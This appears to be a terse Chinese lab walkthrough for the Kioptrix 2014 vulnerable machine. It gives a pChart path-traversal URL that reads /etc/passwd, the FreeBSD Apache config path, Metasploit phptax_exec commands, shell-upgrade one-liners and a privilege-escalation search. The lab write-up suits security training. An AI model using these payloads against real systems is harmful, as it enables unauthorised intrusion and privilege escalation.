vulhub——Kioptrix: 2014 (#5)[freebsd系统]
目录
信息收集
PChart
文件包含
尝试利用漏洞，http://192.168.190.190/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
目录遍历漏洞
由于这个系统是freebsd，所以可以知道apache的位置
该系统对应的配置文件目录/usr/local/etc/apache22/httpd.conf
https://github.com/d34dfr4m3/kioptrix_l5_xpl
MSF
exploit/multi/http/phptax_exec
set rhosts 192.168.190.190
set rport 8080
exploit
提权
python -c ‘import pty; pty.spawn(“/bin/bash”)’
echo os.system('/bin/bash')
/bin/sh -i
searchsploit freebsd 9 | grep Privilege